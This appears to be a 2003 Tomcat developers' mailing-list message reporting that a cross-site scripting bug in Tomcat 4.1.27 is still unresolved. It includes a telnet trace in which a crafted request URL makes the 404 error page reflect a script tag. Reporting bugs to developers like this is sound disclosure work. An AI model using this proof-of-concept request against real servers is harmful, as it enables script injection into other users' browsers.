Return-Path: Mailing-List: contact tomcat-dev-help@jakarta.apache.org; run by ezmlm Delivered-To: mailing list tomcat-dev@jakarta.apache.org Received: (qmail 5916 invoked from network); 29 Sep 2003 18:40:23 -0000 Received: from unknown (HELO forty.greenhydrant.com) (208.48.139.185) by daedalus.apache.org with SMTP; 29 Sep 2003 18:40:23 -0000 Received: from www.greenhydrant.com (localhost [127.0.0.1]) by forty.greenhydrant.com (Postfix) with SMTP id 58DFDE396A for ; Mon, 29 Sep 2003 11:40:49 -0700 (PDT) Received: from 208.48.139.163 (SquirrelMail authenticated user dbr) by www.greenhydrant.com with HTTP; Mon, 29 Sep 2003 11:40:49 -0700 (PDT) Message-ID: <2988.208.48.139.163.1064860849.squirrel@www.greenhydrant.com> In-Reply-To: <3F76B49A.6090803@jcom.home.ne.jp> References: <3F76B49A.6090803@jcom.home.ne.jp> Date: Mon, 29 Sep 2003 11:40:49 -0700 (PDT) Subject: Re: Jakarta Tomcat 4.1 XSS vulnerability From: "David Rees" To: "Tomcat Developers List" User-Agent: SquirrelMail/1.4.2 [CVS] MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 Importance: Normal X-Spam-Rating: daedalus.apache.org 1.6.2 0/1000/N Anyone know how serious this is? It also appears to affect Tomcat 4.1.27 when using mod_jk as well. Below is a sample trace of a HTTP session. -Dave > telnet localhost 8080 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. GET /666%0a%0a666.jsp HTTP/1.0 Host: localhost HTTP/1.1 404 /666 666.jsp Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Date: Mon, 29 Sep 2003 18:39:23 GMT Server: Apache Coyote/1.0 Connection: close Apache Tomcat/4.1.27 - Error report

HTTP Status 404 - /666 <script>alert("asdf");</script>666.jsp

type Status report

message /666 <script>alert("asdf");</script>666.jsp

description The requested resource (/666 <script>alert("asdf");</script>666.jsp) is not available.

Apache Tomcat/4.1.27

Connection closed by foreign host. On Sun, September 28, 2003 at 3:14 am, Kan Ogawa sent the following > > Jakarta Tomcat 4.1 cross-site scripting vulnerability, which was > reported last year, is not yet resolved. > > http://www.securityfocus.com/archive/82/288502/2002-08-16/2002-08-22/0 > > I verified this vulnerability on Tomcat 4.1.27 with Coyote HTTP/1.1 > connector. > > http://localhost:8080/666%0a%0a666.jsp > > On the other hand, on Tomcat 5.0, it was not reproduced. > Do you neglect to resolve it to Tomcat 4.x, Tomcat committers? > > Regards, > > -- > Kan Ogawa > super-creek@jcom.home.ne.jp